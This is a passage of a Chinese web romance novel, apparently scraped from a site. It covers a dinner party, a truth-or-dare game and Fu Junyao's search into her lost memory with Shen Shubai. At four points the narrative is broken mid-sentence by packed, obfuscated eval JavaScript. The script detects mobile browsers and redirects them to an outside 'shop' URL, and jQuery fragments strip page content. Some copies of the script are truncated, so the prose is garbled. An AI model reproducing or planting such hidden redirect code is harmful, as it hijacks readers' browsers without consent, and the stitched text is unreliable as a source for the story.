所有人落座,晚餐正式开场,十几位厨师同时端着餐盘出来,以确保每一个人都能在第一时间品尝到美味。 法餐,最明显的特点就是少而精。 前菜突出得再明显不过。 最先上来的是杯鸡尾酒,以度数低的香槟为基酒,混入少量利口酒,挤了点现榨青柠汁,清香爽口,跟着鸡尾酒一起上的,是一块定制的迷你马卡龙,马卡龙的面上用糖花勾勒出了在场的人名字的首字母。 虽然酒量不算多,但傅珺瑶的那杯顾清漪还是提前吩咐过,换成了青柠汁。 吃的一上来,傅珺瑶没再想其他,专心吃饭。 酸酸甜甜的青柠汁恰好能中和掉甜得微微发齁的马卡龙,傅珺瑶两口已经咬完“FJY”那三个字母。 不过五分钟,所有人的盘子里都清空。 然后是道黑松露温泉蛋,主厨站在一边介绍这道菜,还给取了个很复杂的名字,傅珺瑶没听清。 只看到晶莹剔透的温泉蛋上撒了几片黑松露,摆盘很精致。 傅珺瑶先拿着叉子戳破蛋面,黄澄澄的蛋芯流出,她换了勺子,舀至嘴边,微甜的蛋黄混着黑松露独特的味道,舌尖又是一番享受。 她满意地擦了擦嘴。 第三道是吉拉多生蚝啫喱,盘侧配有苹果木烟熏奶油和香橙爆珠,主厨也给它取了个非常有意境的名字:海潮记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183842|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 说是模仿海潮的咸鲜与清甜。 傅珺瑶的动作有短暂的停顿。 啫喱入嘴的那一刻,咀嚼的速度也跟着慢下来。 海潮的咸鲜与清甜…… 模仿得确实挺成功。 不过她不爱生蚝的味道,如果换成海鲈鱼,没准会更好吃。 傅珺瑶吃了一半,便匆忙擦嘴。 最后一道前菜就是沈述白做的。 用很小的汤碗盛着,碗盖捂得严严实实,傅珺瑶根本看不到里头是什么。 主厨给取了个故弄玄虚的名字:述白的秘方。 傅珺瑶没有很快揭开碗盖,低着头,余光却往那一侧探。 只看到他修长的手指轻搭在桌上,似乎在等待着什么。 傅珺瑶迟疑两秒,伸手,揭开盖子。 熟悉的香味伴着耳边骤起的声音同时占据她的感官细胞。 “这是什么?百香果?牛肉?好稀奇的搭配。”桌上有人开口问。 傅珺瑶漆黑的眼瞳骤然缩紧,手里的碗盖没拿稳,“砰”的一声,在长条桌上撞出微响。 顾清漪眼疾手快,扶稳碗盖,反扣在餐盘上,低声问她:“没事吧?” 傅珺瑶擦了擦手,摇头。 目光再次聚焦,微红的酸汤上几片番茄片和柠檬片点缀,百香果籽漂浮,嫩红的牛里脊泡在酸汤里若隐若现。 与此同时,他的声音跟着响起:“百香果酸汤牛肉,在淮北是很少见,不过味道还不错,你们可以尝尝。” 她下意识循着声音看过去,生蚝啫喱的咸鲜和清甜尚且停留在味蕾,她把那味道往下咽,双眸再次撞进那片琥珀海。 他的唇角勾起了很浅的一抹弧度,手指还停在原来的位置,仍然在等待。 鼻腔被酸甜的香气占据,傅珺瑶一时出神,完全忘了收回视线。 腿上蓦地多了道力量,温热的掌心在那里拍了拍,顾清漪递勺子给她:“尝尝。” 傅珺瑶轻轻一激灵,终于挪回眸子。 稍稍发颤的手接过勺子,圆弧的勺心被酸甜的汤汁填满,唇舌凑近,只尝到一点,傅珺瑶的动作陡然停下,僵持着几秒后,才把剩下的汤汁送进肚。 还是那个味道。 傅珺瑶又舀了块牛里脊。 滑嫩的牛肉在嘴里很弹牙,也还是一样的味道。 “这味道好新奇啊。”陈祎品鉴过后开口。 路婧也说:“第一次见这种做法,牛肉居然还能跟百香果放一起,不过确实还行。” 顾清漪也点评一番,不过只说给了傅珺瑶听。 她靠近,低声说:“好奇怪的味道,你喜欢吃吗?” 傅珺瑶进食的动作没停,小幅度点了点头。 余光瞥见那只手终于停止等待,同样拿起了勺子。 她吃得更起劲。 汤很快见了底。 直到汤碗被收下去,傅珺瑶还在回味滑进食道的那股味道。 以至于后面的主菜登场,她完全没记住那些菜的名字,也完全不知道那是什么,双目微微失焦,两只手机械地往嘴里送食物。 长桌上的对聊她也没完全加入,只时不时接几句话,她自己都不知道在说些什么。 只想着那道百香果酸汤牛肉,直到整顿饭吃完。 傅珺瑶擦完嘴,喝了一大口温水,嘴里的味道终于被压下去。 她深吸了口气,眼珠转动,眸光只触到那只肌肉线条流畅的小臂。 心底暗暗想:她真的很想有一个跟他手艺一样的厨子。 50. 22 晚餐之后,陈祎提议来点夜场游戏。 反正他们今晚在别墅过夜,不着急走。 伺候的人许远舟让他们先去休息了,他们这一群人也能放松玩。 十几个人,气氛算得上相当热闹。 客厅的灯调暗,茶几被挪位,置于地毯最中心,十几个人围着茶几坐下。 傅珺瑶还是坐在顾清漪身边,另一侧是主动过来的林逸深,顾清漪的另一侧是许远舟,沈述白就坐在许远舟旁边。 “这副牌我抽了十三张出来,大家就随便抽,我来当上帝,随机指定牌数,手机随机抽真心话大冒险,输了的大家一起想个惩罚。”陈祎坐在最中间,介绍完规则。 这套游戏背后的本质,其实就是八卦。 他们这群人寻常工作也不怎么见,聚会大多还是为了工作,好不容易逮到这次机会,谁都不会不乐意。 傅珺瑶抽到了张黑桃九。 她记下牌数,面无波澜地把牌反扣到茶几上。 确认所有人都记下自己的牌数,陈祎开始盲喊。 “红桃三和黑桃六,是哪两位?” 路婧和另一位伴娘举手,手机选中了大冒险。 陈祎笑了声:“亲脸颊!” 傅珺瑶稍稍愣神。 尺度这么大吗?还有肢体接触? 两人完全没问题,路婧主动亲了那位伴娘,茶几前一阵哄闹。 再重新换牌。 这一次傅珺瑶抽到了黑桃三。 陈祎再次盲喊:“黑桃三和红桃二!” 傅珺瑶眉心微动,说:“我是黑桃三。” 话音刚落,身侧的林逸深声音里藏不住的惊喜:“珺珺,我是红桃二!” “也是大冒险,一方公主抱另一方做五个深蹲。” “……” 傅珺瑶松动的五指收紧。 陈祎意味深长地“哦”了声:“咱们林总应该没问题吧?” 林逸深二话不说起身,拍着胸脯:“当然没问题!” 又伸手,想要拉她起来。 傅珺瑶犹疑两秒,手伸了过去。 心想:算了,游戏而已。 傅珺瑶背对着顾清漪那边,也看不到他。 林逸深弯起唇,示意她抓牢他的后颈。 傅珺瑶勾手,下一秒,身体被他强劲有力的肌肉托起。 围在茶几前的几个人惊呼。 傅珺瑶垂眸,盯着自己的膝盖。 林逸深的动作很利索,五个深蹲,他连气都没喘。 傅珺瑶被稳稳放下,兀自松了口气。 陈祎连着拍掌,随口喝了声:“不愧是青梅竹马哦?这默契!” 傅珺瑶重新坐下的身体一僵,眼神刚扫过去,耳边却率先撞出声闷响。 林逸深的笑声也被堵了回去。 所有人同时侧眸,往沈述白的方向看过去。 他只似什么都没发生过一般,不紧不慢地捡起掉落在地毯的玻璃杯,轻轻扯唇,一贯温和的嗓音慢慢淌进昏暗的氛围中:“抱歉,杯子没拿稳,大家继续。” 一个小插曲,基本没有人在意。 顾清漪却突然拍了拍傅珺瑶的膝盖,却什么话都没说。 傅珺瑶没看那边,只同样去抓面前的玻璃水杯。 再次换牌。 “黑桃A和红桃A!” 是沈述白和林逸深,选中真心话。 陈祎先故弄玄虚了一番:“这个问题还挺有信息量的啊。” 傅珺瑶抬眸,等着他说。 “有没有到至今为止,还惦记的人或物?” 身为两个家族背景都还不错的人,基本上不会惦记能用钱得到的东西,而在他们这个年龄用钱得不到的,就大概率关乎感情。 众人眯眼,目光频频朝他们投来。 傅珺瑶也稍微偏头,继续往嘴里送水,等着答案。 沈述白先开的口:“我惦记之前给出去的71个蜜饯,挺想要回来的。” 傅珺瑶还没来得及吞下去的水差点喷出来。 茶几前的人几乎都发出声惊呼。 陈祎不可思议地“啊”了声,“蜜饯?” 许远舟也跟着诧异:“你送出去还带计数的啊?” 另一边的路婧也调侃:“看来这蜜饯大有来头哦?” 傅珺瑶又被呛到。 对于这些问题,沈述白没有回答,只笑了笑,说:“我的真心话说完了,答案各位想知道,那得看下一个真心话给不给面子。” 傅珺瑶捂着唇小声咳了两下,把玻璃杯扔回了原位。 她低着头,心脏不知道什么时候加快了跳动频率,连带着脸颊也开始发烫。 好在灯光昏暗,大家伙又都等着林逸深的回答。 “我惦记的人啊,真的必须说实话吗?”林逸深沉吟片刻,似乎有些纠结。 陈祎敲桌面:“当然了,真心话咱们玩得就是一个真字!” 林逸深又发出很轻的一声笑,倏然转头。 傅珺瑶眸光一凝,回看过去。 他的眉尾轻轻下撇,唇角的弧度加深,语气有些无奈:“珺珺,很抱歉,我只能说真话了,我惦记的人……就是你。” 话音刚落,陈祎起头,众人几乎同时哄叫,气氛瞬间热了起来。 傅珺瑶眉心蹙了蹙,神色慢慢冷淡下来。 “林总这是在跟傅总告白?”其中一个伴郎打趣。 另一个伴郎附和:“林总挺勇啊,咱们傅总什么想法啊?” 傅珺瑶面无表情地转回头,声音没有一丁点起伏:“这不在真心话的回答范围内,大家接着玩游戏吧。” 傅珺瑶开了口,不会有人不具眼力地反驳,更没有跟她闹。 耳边又响起林逸深压低的声音:“珺珺,抱歉,不过游戏而已嘛。” 傅珺瑶没接话,等着手里的牌再次换掉。 “红桃九和红桃二!” 沈述白再次被抽中,另一个是许远舟,依然是真心话。 陈祎看着问题,眉头一挑:“这个问题只能问到一个人啊。” 许远舟不解:“什么?” 陈祎解答:“有没有想要结婚的人?远舟的答案这不明摆着吗?” 许远舟蓦地笑出声,耸耸肩说:“没办法,就是这么幸运!” “述白呢?述白都没谈女朋友,有想结婚的人吗?”陈祎继续问。 傅珺瑶凛神,喉嗓突然干涩,却迟迟没有去拿水。 双耳轻轻绷紧,心跳蓦然变得沉重起来。 她依然垂眸,轻搭在地毯的手慢慢聚拢,指甲在那一块揪出很浅的皱褶。 那道温柔却又笃定的声线像是千斤重的巨石,狠狠砸向她的心口:“有。” 傅珺瑶缓慢的呼吸骤凝,短暂隔绝了清凉的空气。 顾清漪也侧头,视线落定在她身上。 “啊?!”陈祎眼珠子都瞪大了。 围在茶几边的人倒抽凉气,继而追问。 “真的假的?!” “述白,你有女朋友了吗?没听说过啊!” “你是要跟谁联姻了?!” 傅珺瑶的气息随着茶几旁的疑问重新变得顺畅,这气氛里的火热却也随之涌入她的身体,掀起了她心底的狂风巨浪。 心脏瞬间失了控,不顾一切地狂跳,血流如汹涌的浪潮,在血管里横冲直撞,急需找到某个出口,耳边的哄闹声也逐渐被轰鸣取代。 傅珺瑶揪着地毯的手很疼,瞳仁一再缩紧,浑身的肌肉也朝着核心内收,完全一副紧绷的状态。 他的声音在耳边依然清晰:“这些答案也不在这个问题内了。” 之后的几局,傅珺瑶完全不在状态。 也好在没再抽中她,沈述白也没有。 这游戏也逐渐没了意思,路婧又提议,干脆他们直接凑几桌麻将好了,不想喝酒,直接玩玩钱更刺激。 于是一行人从客厅转战到了棋牌室。 傅珺瑶不想打麻将,找借口溜进了前院,坐在门口的秋千上看月亮。 恰好这会也没那么热了。 紧实的木制秋千上,傅珺瑶双脚悬空,背脊后靠,身体随着秋千前后晃荡。 她抬头,一轮圆月挂在头顶,清皎的光辉往外散发,给寂静的黑夜披了层柔和的外衣。 脑海中又飘进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅珺瑶身体微微发僵,只能感受到身侧的人若有似无的热气靠近。 呼吸声隐入黑夜,心跳声却此起彼伏,不停敲击耳膜。 傅珺瑶坐稳在秋千上的臀部和大腿肌肉有了发麻的迹象。 “可我就想从那结果里挑出一丝漏洞,哪怕希望渺茫,我都想为了重要的人拼一次。” 他终于开口,语速慢到极致,那一个个字宛若一根根尖锐的细刺,密密麻麻,精准地刺向她早已没了‘安全墙’的心口。 眉心忍不住抽搐两下,鼻腔里泛起浓烈的酸,一阵晚风扬起,带动院子里的树叶吹起‘簌簌’的交响曲,朝着他们迎面扑来,可那强势的力道却完全不足以压下那股酸。 反而仅凭那一点从白日留下的余热,便让这酸意沸腾。 傅珺瑶动了动胳膊,想要起身,臀部和双腿却麻得厉害,完全不能听使唤。 身侧的人也突然动了,宽大的手掌蓦然握紧她的手腕。 傅珺瑶呼吸再次凝滞,一动不动,忘了起身,也忘了挣扎。 熟悉的温度再次碰触,傅珺瑶的理智再次到达失守的边缘。 沈述白慢慢侧头,望向她的视线带着一贯的柔和,又同时染了几分灼热。 他的声音低了几分,清润之余还多了点别的味道:“我们……原本也应该是青梅竹马。” 理智有一瞬的坍塌,傅珺瑶的手指松开,指尖往上翘了翘。 藏在心底深处的情绪抵达爆发的边缘。 差一点、只差一点,她便要抛却一切。 可理智却残留最后一丝韧劲,抵着沉重的压力,重新作用,强力压制住即将跳脱的意识。 她猛然起身,强势甩开他的手,完全没有看他。 只背身在他跟前停留,语气骤冷,声音里带着不可忽视的压迫感:“可我们不是,不是么?” 51. 23 周围的声音瞬间静止,黑夜将所有的动静都吞噬完全,晚风连一丝残存的影子都没剩下。 傅珺瑶绕过秋千,径直朝着别墅大门走,主动将进入她鼻腔里的属于他的气息全都吐出来。 大门打开,再合上。 她把那片寂静孤独的月色关在门外,头也不回地往房间走。 棋牌室的喧嚣还没结束,一群人玩得正热闹,傅珺瑶面不改色地路过,整个人没入昏黑的房间,隔音的门将所有的哄闹全部阻隔。 傅珺瑶背靠在门后,身体死死抵着门,深深地吸了口气,却乱七八糟地呼了出来。 黑夜混沌、模糊不清,揉杂着沉闷、冗长的钝痛。 右手按在胸口的位置,眼皮有些撑不住,开始往下沉。 傅珺瑶的呼吸又急促几分,嘴唇微张,慢慢的,眼睑合上,一滴清澈坠入黑夜,搅散了那片混沌。 放在胸口的手捏紧,眸光重新恢复清明。 她不能……再让自己陷入绝望,不能再让他们陷入绝望。 …… 沈述白始终保持着一个姿势,很久很久。 久到半空的圆月都变得疲惫,没了洒下光辉的兴致,懒懒地躲到云层后小憩。 院子里彻底陷入黑暗。 他的影子也陡然消失。 双脚落地,双手搭在腿上,他直勾勾地凝着掌心。 那里残留着她的气息和温度。 “我们……原本也应该是青梅竹马。” “可我们不是,不是么?” 有些话,他不该那么快说出来的。 他应该谨慎一点、再谨慎一点。 可他看到林逸深能够那样光明正大的接触她、跟她表白,心底的很多情绪都不再能轻易藏住。 他多希望能光明正大在她身边的人,是他。 清晰的掌纹突然模糊,又在片刻之后,托住了几滴滚烫。 清澈湿润的水珠沁入掌纹,又顺着纹路氲进薄薄的衣衫,没了踪迹。 沈述白抬头,目光投向重新出来站岗的圆月。 他多想那份渺茫的希望能够颠覆一切。 他多想沈述白,是能够和傅珺瑶在一起的沈述白。 …… 两个小时后,傅珺瑶终于洗漱完。 临上床前,她又绕到窗边往外看了眼,那里已经没有人了。 回到舒适的被窝里,她的困意还没那么明显,刷了会晚间新闻,又看了会股市,困意差不多上来。 她没急着关手机,点到那只有一条消息的聊天框内,下载了她只看了一眼的音频。 网速很快,音频不到一分钟已经下载完成。 点进去之后,傅珺瑶的指尖在屏幕上方顿停—— 这份音频里有数十份子音频,命名清晰。 第一首就是她很想听的天空之城。 她把音量调到刚刚好的程度,放在枕头边,又平躺过来,暂时没闭上眼。 熟悉的旋律淌进耳道,她的眉心不可抑制地抽了抽。 心底的声音再次重复:他们不能……再陷入绝望。 …… 从顾清漪和许远舟的别墅回来后,傅珺瑶的睡眠状态好了很多。 新的一周去上班,也不再像之前那样需要靠咖啡‘续命’。 老爷子这周也出院了,出院第二天就回了恒璟。傅珺瑶拦不住,只能吩咐老爷子的助理多上点心。 关于她让技术部辅助苏氏安防系统,设计加固方案的事,老爷子没说什么,只让她不要坏了苏津南的面子。 体面谈判什么的,只要老爷子不插手,傅珺瑶还是有信心的。于是让聂秘书再次约了苏津南,安排到了下周见面。 有关于竹音哨,聂秘书还没查到什么源头,目前找到的基本上没有这种定制竹音哨。 “我找的人都回消息了,说是您的竹音哨跟市面上的竹音哨都不一样,市面上很少有用暖玉制竹音哨的,一来是很难吹响,二来是价格贵,受众不多,而且如果要刻字的话,他们都不会在哨身刻,很容易裂开的。” 这是中午吃饭时,聂秘书给她的答复。 傅珺瑶捏着手里的竹音哨,连饭都顾不上吃。 真的怎么都查不到吗? 他们当时到底是为了什么才会去洱南? 又是为什么会一起行动? “我去洱南之前,我的日常行程除了收到粉帝王的那天下午,还有没有别的异常?”傅珺瑶接着问。 聂秘书沉吟,撑着下巴慢慢思考,然后肯定道:“有,在那之后,您每隔两天就会出去一趟,还不让我跟着,但您都没有说您去哪儿了。” 傅珺瑶眯起眼,语气沉了沉:“那你再去帮我查一下,那段时间,我的消费记录。” 这次聂秘书迟疑了,说是傅淮湛有查过,但没查到。 聂秘书又解释,按照她失忆前的性子,如果是真的不想让人知道她干了什么,那就绝对不会留下任何痕迹。 “……” 那还挺不好的,傅珺瑶想。 相当于什么都查不到。 傅珺瑶瘪了瘪唇,心不在焉地往嘴里送了口饭,双眉蹙紧,思索着还能从哪里入手。 失忆的事她去林医生那查过了,非器质性,但抽血结果又完全正常,她也不像是心理疾病造成的失忆。 她最能联想到的,是药物导致的失忆。 那竹音哨里头的构造她看过了,就那么点空间,能放的东西不多,又恰好是圆形的,除了药丸,还真没什么其他的可能。 至于抽血结果正常,林医生给过她解释了,说如果真是药物失忆,可能时间太长,药物已经代谢掉了,现在的治疗无法对症,暂时只能做常规的心理治疗。 于是靠恢复记忆的这条路轻易被阻隔了。 可她还是想不通,如果是失忆的药,他们为什么会吃下,是主动还是被动吃下,又为什么会专门去定制一个竹音哨,以及为什么是他们一起,还非得去洱南。 竹音哨查不到消息,所有的困惑,都没有答案。 她想得出神,嘴里咀嚼的动作也停了下来。 这一丝丝希望,真的还是希望吗? 他的话在脑海中回放:“可我就想从那结果里挑出一丝漏洞,哪怕希望渺茫,我都想为了重要的人拼一次。” 可如果这漏洞的四面八方都被堵死,他们又怎么寻求突破? 拼一次,她又要怎么拼? 这背后藏着的秘密……到底是什么? 这个秘密……又到底能不能成为那毫无破绽的仇恨的漏洞? 傅珺瑶没来得及往下深想。 “我去,启行要和宋氏联姻了?!”聂秘书指尖停在手机屏幕,两只眸子瞪大,惊呼道。 傅珺瑶猛然一颤,心脏没来由地慌了一下,手里的筷子没拿稳,从虎口溜了下去。 她没去捡,双神稍微发木,语调轻轻上扬:“联姻?” 沈述白吗? 所以那天他说的结婚…… 聂秘书疯狂点头,把手机送到她面前:“沈董和宋董,好突然的消息啊,都没听说他俩有过什么接触。” 傅珺瑶凝在喉间的一口气又顺了下去,窜过心脏的那股慌乱也跟着消失。 是沈行之。 她重新捡起筷子,丢进垃圾桶,又拿了双新的,语气平淡:“也正常吧,我记得宋氏不是主要做外贸?他们俩在一起,启行的系统销路就多了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192412|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >靠着利益相辅相成,双方都不吃亏。 聂秘书倒是没傅珺瑶接受的快,感慨:“我就是觉得太不可思议了,这两个人从来都没过交集。” 傅珺瑶扯了扯唇:“可能都愿意听家里安排吧。” 毕竟总不能跟势力过不去? 感情倒是可以慢慢培养。 大脑却又开始想偏:那沈述白呢?如果沈家也给他安排了联姻对象,他会答应么? 如果下次是他的联姻消息出现在新闻上…… 傅珺瑶逐渐攀升的情绪又被打断:“傅总,那您呢?自从我跟您以来,您就一直全心投入工作,您以后的婚姻也是听家里安排吗?” 傅珺瑶的心脏莫名抽了一下,滞后的疼渐渐蔓延。 她抿唇:“我说不定也不会结婚。” 这个回答聂秘书倒不觉得奇怪。 她笑道:“那也挺好。” 午饭结束,聂秘书去休息了。 傅珺瑶还躺在沙发上,自己点开了沈行之联姻的那条新闻。 她上下翻动,数十行文字从眼前溜走,最后停在沈行之的照片上。 轻笑了声:果然是双胞胎兄弟,长得确实很像。 不过气质却完全不一样。 沈行之没有那颗黑色耳钉,也没有那双温柔的眸子。 傅珺瑶有些说不清此刻的心情。 是庆幸?还是怅然? 庆幸这照片上的人不是他。 怅然他们的以后。 那个几乎不可能的以后。 傅珺瑶退出界面,点开那个被她新置顶的聊天框。 除了一条好友验证消息,就只有他发过来的音频。 拇指浮在键盘格上方,停滞很久。 几乎在每一个字母上方滑过,却始终落不下去。 最后又熄屏。 傅珺瑶没有进休息室,一直在小沙发上假寐。 脑子有些乱。 思绪像是千万根丝线缠绕在一起,暂时找不到出口。 下午下班之后,傅珺瑶没回家,再次去了环湖公园。 她今天也懒得再换衣服,只换下了舒适度不高的高跟鞋。 在熟悉的车位停好车,她把包扔在了车上,只拿了手机。 站在还算空荡的停车场,她环视了圈周围,没有再看到那个车牌号。 傅珺瑶抿了抿唇,嘴里混入了口红特殊的香味,她面无表情地往里走。 还是那条灰砖路。 不过这一次她不再低着头,始终看着前方。 清新的空气不紧不慢地进入鼻腔,置换走了工作留下的疲乏。 她走到栈桥边。 金色的夕阳把最后一丝余晖洒落在湖面,翻起粼粼波光。 傅珺瑶趴在栏杆上,嘴唇往上扬起。 好想念那段时间…… 天高海阔,云卷云舒…… 傅珺瑶蓦然一顿,唇边的弧度收敛。 海边。 是啊,他们又到底是为什么才会坠海? 那么偏僻的地方,完全查不到消息,真的是意外? 被萍姐发现的时候沈述白牵着她,是他们一起从海里逃生? 如果不是意外呢? 这背后还藏着一个未知的敌人? 可动机又是什么? 是单单只想害她,沈述白被牵连,还是想害沈述白,她被牵连? 又或者,是他们俩都不能留下? 嘴角的弧度完全消失,眉头也跟着拧紧。 傅珺瑶猛然回神,背后一僵—— 身后一道不可忽视的视线停留,熟悉的气味已经迫不及待往她的鼻腔里钻。 她回头,稳稳对上那双眸。 52. 24 他又穿回了他的黑色西装,站在离她两米远的位置,静静望着她,那颗如曜石般的黑色耳钉折射出了夕阳的最后一点光亮,精准撞进她眼底。 傅珺瑶的视线只停留两秒,又转回来,刚刚脑子里想的东西全没了踪影。 他的脚步声近了。 气息也近了。 下一秒,他的身影占据余光。 微热的空气变得滚烫。 傅珺瑶直愣愣地盯着湖面,暂时没有动作。 果然冤家路窄。 他们走哪都能碰到。 “心情不好的话,吃块巧克力。”他的声音跟着热风一起钻进耳朵。 紧随而来的,是缓缓送进她视线里他的手掌,掌心拖着块草莓味的巧克力。 傅珺瑶十指稍稍用力,捏紧栏杆,紧蹙的眉头松展。 她不想拿。 他也不摧。 半分钟的沉默之后,他直接撕开巧克力的包装,再次送到她跟前。 “这个味道酸酸甜甜的,你会喜欢。” “……” 意识再次对抗理智。 傅珺瑶还是接了,她总觉得她再拒绝一次,他就要直接喂到她嘴里了。 酸甜的草莓味融进舌尖,刺激着大脑分泌多巴胺,所有的烦恼暂时全都被抛到脑后。 这味道她确实喜欢。 理智持续后退,有再次退至边缘的迹象。 湖面的金光逐渐消失,夕阳带走了最后一片光亮。 嘴里的巧克力进了肚,短暂的快乐也慢慢消散。 理智慢慢聚拢。 傅珺瑶知道自己该离开这里,可双腿却难以迈开。 明明知道该和他保持距离,明明知道这等日落、等月升的雅致是不该和他一起有的,可意识就是难以抗拒,导致理智也没办法驱动身体。 都怪那段时间里,她太过沉迷于他带来的安全感,致使她见到他时,总是本能卸下防备,也没什么自控力。 “这是你之前没有带走的东西,我想应该给你。”男人又突然开口。 傅珺瑶双肩颤了颤,视线艰难挪移。 那只手掌再次凑近,送过来一个和巧克力差不多大小的东西。 等视线定焦,瞳仁骤缩,十指继续发力,狠狠扣住栏杆,指甲在木质栏杆上磨出细细的咯吱响。 傅珺瑶背后升起鸡皮疙瘩。 记忆如汹涌的海浪疾速奔涌: 他们在那片海域紧紧牵着彼此的手,他背着她走入咸涩清凉的海浪,他们看到那海天一线的美景,他们站在海水中接吻,他们在沙滩上留下了独一无二的足迹。 是他们一起在海边装的玻璃瓶,是装了一半沙砾一半海水的玻璃瓶。 是他们那段时光的定情信物。 漆黑的眸子紧紧粘在玻璃瓶上,她没伸手,也没抬头。 巧克力的甜味不甘地从食道返窜,牵动着味蕾再次忆起草莓味的酸甜,可酸甜之余,又不知道从哪冒出来了一股涩,那涩味顺延而下,盘旋在心口,剌得那块有些疼。 眼前的那只手也微微发颤。 他仍然没有催她,却也没有像给巧克力那样。 沉默加深了这昏黑天幕的颜色,傅珺瑶还是没动。 他的手却往前伸了伸,然而只伸出几厘米,又退回了原位,继续等待。 傅珺瑶紧捏的手突然松开。 她终于舍得抬头,那双被夜色笼罩的褐眸里闪着点水光,很轻、很浅,却沉重地落在她眼底。 那力道足以压碎她所有的自控力,足以将她的理智狠狠掐扼。 她的身体蓦然侧了过去,双目捻着那微闪的水光,两只脚分不清是主观还是本能,靠近、再靠近,缩短了她和他手掌的距离。 他的手颤意更明显。 剌在心底的涩意渐浓,掀起一阵酸,直冲眼角,胳膊隐隐发麻,傅珺瑶好不容易才抬起来,手慢慢伸过去,碰到掌心已经染了热意的玻璃瓶。 她的手指收紧。 指腹不小心触到掌肉,被狠狠灼了一下。 傅珺瑶眉心下意识抽了抽,把玻璃瓶捏在了手心。 他悬空的手停了几秒,跟着收回。 黑夜滋生黏着力,牢牢地粘住了两道视线。 傅珺瑶陡然忆起中午的新闻。 如果…如果以后是他的联姻消息出现在新闻上…… 不。 不…… 他应该…… 傅珺瑶捏着玻璃瓶的力度更大,指腹甚至被瓶口的木塞压得有些疼。 两条腿有再次往前迈的趋势,她咬紧了牙关,颌骨都被牵连得发麻。 沈述白温和却隐隐发颤的声音比她即将失控的理智先到一步:“不早了,回家吧?” 她的腿安分下来,双眸轻轻扑扇,眼前的水光消失。 沈述白侧过身,偏移她的视线范围。 最后在她耳侧短暂停留,声音如温和涌动的湖水:“一切…都会好起来。” 傅珺瑶呼吸凝滞,手上的力道更重,玻璃瓶上的木塞快要被拇指摁进瓶内。 他的脚步声渐远,气息淡去,也卷走了她险些失控的意识。 她保持着一个姿势很久。 眼前的黑暗越来越浓。 她低头,玻璃瓶在手里慢慢抬起,沙砾下沉,混浊的液体分层,海水重新澄澈。 傅珺瑶眯起眼,漆黑的眸光汇聚,她把玻璃瓶放进了口袋,转身,往门口走。 低调的黑色奔驰涌入车流,傅珺瑶始终盯着前方,星亮的霓虹映入眼底,她捏着方向盘的手捏紧、再捏紧。 在距离她车不远的侧后方,一辆同车型的黑色奔驰也跟在车流中,不急不缓地前进。 那是傅珺瑶很熟悉的车牌。 淮A·FA1119。 不过…她没有看到。 …… 回到公寓,傅珺瑶没打算吃晚餐,抱着沈述白给的那罐蜜饯去了书房,开了电脑,登入了恒璟的系统。 聂秘书有提过一嘴,说恒璟因为早些年和启行交好,在电子网络刚兴起的时候,就被启行带着建立了电子系统,所以这些年的项目档案都被好好留存着,恒璟的高管登入系统就能查到。 傅珺瑶点进了时间筛选,回到傅沈两家出事的那一年。 很快找到那几份文件。 她凛眉,点进去,从头到尾仔细看过。 《仪东华府项目安防系统建设合同》 《关于仪东华府项目的赔付协议》 《仪东华府项目名称更名协议》 《名世华府项目安防系统建设合同》 仪东…… 傅珺瑶记得,大伯叫傅臣东,沈述白的姑姑叫沈千仪。 名世华府是爷爷改的名。 恒璟和启行解约之后,爷爷选择了当时刚刚发展起来的苏氏,更换了新的安防系统。 光从合同看来,没有任何问题。 并且清晰印证当年出事的情况。 傅珺瑶又从头到尾翻了好几遍,看着毫无破绽的合同协议,慢慢泄了气。 转念一想,如果真的有破绽,他们两家还至于敌对这么多年吗? 傅珺瑶关电脑前,还是把几份文件全都下载下来,上传到了自己的iCloud。 盘腿坐在凳子上,傅珺瑶低着头,面无表情地往嘴里送了颗蜜饯。 一切…都会好起来的。 这是她当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197018|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初安慰江晴的话。 一切…真的会好起来吗? 她真的不确定。 她知道,他也不确定。 所以他才会一次又一次地主动退开。 从回来之后他们见的第一面开始。 他的眼底、言语、行为里溢出来的对她的关心她不是没看到。 她也相信,在她喝醉的那个晚上,他绝对明白她的感情。 从那天他告诉她竹音哨里的秘密开始,她就明白了一切。 他对竹音哨的存在有疑,对他们的失忆有疑,对他们在洱南出事有疑。 